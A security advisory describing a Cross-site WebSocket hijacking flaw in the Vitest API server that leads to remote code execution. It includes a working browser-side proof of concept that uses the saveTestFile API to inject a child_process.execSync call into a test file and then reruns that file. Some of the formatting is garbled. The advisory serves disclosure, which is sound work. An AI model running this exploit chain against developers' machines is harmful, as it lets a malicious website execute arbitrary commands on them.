Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
This vulnerability can result in remote code execution for users that are using Vitest serve API.
Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
Details
When
apioption is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has
saveTestFileAPI that can edit a test file andrerunAPI that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by thesaveTestFileAPI and then running that file by calling thererunAPI.https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
PoC
calcexecutable inPATHenv var (you'll likely have it if you are running on Windows), that application will be executed.Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
References